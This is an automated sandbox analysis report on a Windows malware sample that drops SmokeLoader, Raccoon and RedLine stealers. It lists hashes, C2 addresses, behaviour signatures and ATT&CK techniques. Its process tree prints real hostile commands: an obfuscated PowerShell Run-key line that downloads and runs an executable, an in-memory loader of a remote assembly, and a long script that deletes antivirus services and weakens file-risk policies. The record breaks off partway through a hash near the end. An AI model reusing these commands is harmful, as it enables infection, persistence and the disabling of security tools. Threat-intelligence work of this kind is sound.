Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    12-08-2021 03:46

General

  • Target

    2c30e7340666a2b59ee88f5250ab50e5.exe

  • Size

    319KB

  • MD5

    2c30e7340666a2b59ee88f5250ab50e5

  • SHA1

    2a9c301e0c7696130d997e7e1e063388155377e6

  • SHA256

    e43b2359f27dde4a5f8de4483f9db4016bdf1d2dd0a93ebdbc6c599b3bcbf889

  • SHA512

    585aef33960f7942729461e78c6d80e4867e9c724667a9ad884034fb4694e21730b5e304f8c9ab8ad38c6baa00a49201a2b8f4988481d52cb2929d9def55450e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

@gasfer_dark

C2

207.154.240.76:80

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
    "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
      "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3392
  • C:\Users\Admin\AppData\Local\Temp\4D99.exe
    C:\Users\Admin\AppData\Local\Temp\4D99.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:2096
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4956
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:4380
    • C:\Users\Admin\AppData\Local\Temp\4F20.exe
      C:\Users\Admin\AppData\Local\Temp\4F20.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:1460
      • C:\Users\Admin\AppData\Local\Temp\4F20.exe
        C:\Users\Admin\AppData\Local\Temp\4F20.exe
        2⤵
        • Executes dropped EXE
        PID:744
    • C:\Users\Admin\AppData\Local\Temp\525E.exe
      C:\Users\Admin\AppData\Local\Temp\525E.exe
      1⤵
      • Executes dropped EXE
      PID:3016
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 732
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:3188
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 748
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:1676
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 844
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 880
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 896
        2⤵
        • Suspicious use of NtCreateProcessExOtherParentProcess
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:4132
    • C:\Users\Admin\AppData\Local\Temp\5404.exe
      C:\Users\Admin\AppData\Local\Temp\5404.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:504
    • C:\Users\Admin\AppData\Local\Temp\58F7.exe
      C:\Users\Admin\AppData\Local\Temp\58F7.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3852
    • C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      1⤵
        PID:3808
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe
        1⤵
          PID:4116
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:4324
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:4388
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:4424
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:4468
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:4500
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:4600
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:4864

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Persistence

                      Modify Existing Service

                      1
                      T1031

                      Registry Run Keys / Startup Folder

                      1
                      T1060

                      Defense Evasion

                      Modify Registry

                      2
                      T1112

                      Disabling Security Tools

                      1
                      T1089

                      Credential Access

                      Credentials in Files

                      3
                      T1081

                      Discovery

                      Query Registry

                      2
                      T1012

                      System Information Discovery

                      2
                      T1082

                      Peripheral Device Discovery

                      1
                      T1120

                      Collection

                      Data from Local System

                      3
                      T1005

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\Runtimebroker.exe
                        MD5

                        18a8b5b368a74edbbd7fbc584dff41fc

                        SHA1

                        160ff208a2402b4aa858aa7d8d2d0420f8cd434f

                        SHA256

                        36fdfa6d3688a58281fdddf19bc7cce2e292655f2ab63a3cb34f2de65064e9a5

                        SHA512

                        95fd411cfb7ecfe9b4a3f6495d39f8cff998fe27f76ef08df5ff7373dc250be1d2471dc1c2d14be532362df1744ed66df51e54a3a339e5a0ae1c0b56bf2fd734

                      • C:\ProgramData\Runtimebroker.exe
                        MD5

                        18a8b5b368a74edbbd7fbc584dff41fc

                        SHA1

                        160ff208a2402b4aa858aa7d8d2d0420f8cd434f

                        SHA256

                        36fdfa6d3688a58281fdddf19bc7cce2e292655f2ab63a3cb34f2de65064e9a5

                        SHA512

                        95fd411cfb7ecfe9b4a3f6495d39f8cff998fe27f76ef08df5ff7373dc250be1d2471dc1c2d14be532362df1744ed66df51e54a3a339e5a0ae1c0b56bf2fd734

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                        MD5

                        c558fdaa3884f969f1ec904ae7bbd991

                        SHA1

                        b4f85d04f6bf061a17f52c264c065b786cfd33ff

                        SHA256

                        3e2559b6ca355d011b05b1fcf35ed8b2375586fe6bb01bc367f24eb8ac82975e

                        SHA512

                        6523c778fd9fab0085fafe7b4049e591403865212cc25109cb11f11584c7258bc15e0a5524d089d0f662151b22f3f8e6f871091cec57064c69a9a95903f9e7d4

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        MD5

                        8a257e11d79b1be54b640aa28ed3e15b

                        SHA1

                        69fc14bb1a49f83c3ea9be6ba8fbcbfe00b270e7

                        SHA256

                        c0fb2e3cfd006eb6039283e355f93862b1d9d44afb0e2d93c4d736253a4824dd

                        SHA512

                        40d5601cf92e54c9e7f67207c142bedc26fa79b3695a37a1c14af7990750c1320a9acd349db595205e9b529eb42ebb0f2ab15a26ec982c55a0b3d81de29cc3da

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        MD5

                        741806096b0bc8226a8e51f2e7894894

                        SHA1

                        15ded4a2da862b9a984852c9c03132034b6d76ca

                        SHA256

                        5ea601defca7c34f5d860185e6f96d784eee69317b50b3b5a3dee4dfe762bde4

                        SHA512

                        e6d7f13a3da329a0a89ec686ce753dc52d10cbb6db6f5c675ac3d3781b68d998791649522ea7bd0ba4bb284df04fe050bbaeecf511c564dd8c7ee0a81f81505a

                      • C:\Users\Admin\AppData\Local\Temp\4D99.exe
                        MD5

                        18a8b5b368a74edbbd7fbc584dff41fc

                        SHA1

                        160ff208a2402b4aa858aa7d8d2d0420f8cd434f

                        SHA256

                        36fdfa6d3688a58281fdddf19bc7cce2e292655f2ab63a3cb34f2de65064e9a5

                        SHA512

                        95fd411cfb7ecfe9b4a3f6495d39f8cff998fe27f76ef08df5ff7373dc250be1d2471dc1c2d14be532362df1744ed66df51e54a3a339e5a0ae1c0b56bf2fd734

                      • C:\Users\Admin\AppData\Local\Temp\4D99.exe
                        MD5

                        18a8b5b368a74edbbd7fbc584dff41fc

                        SHA1

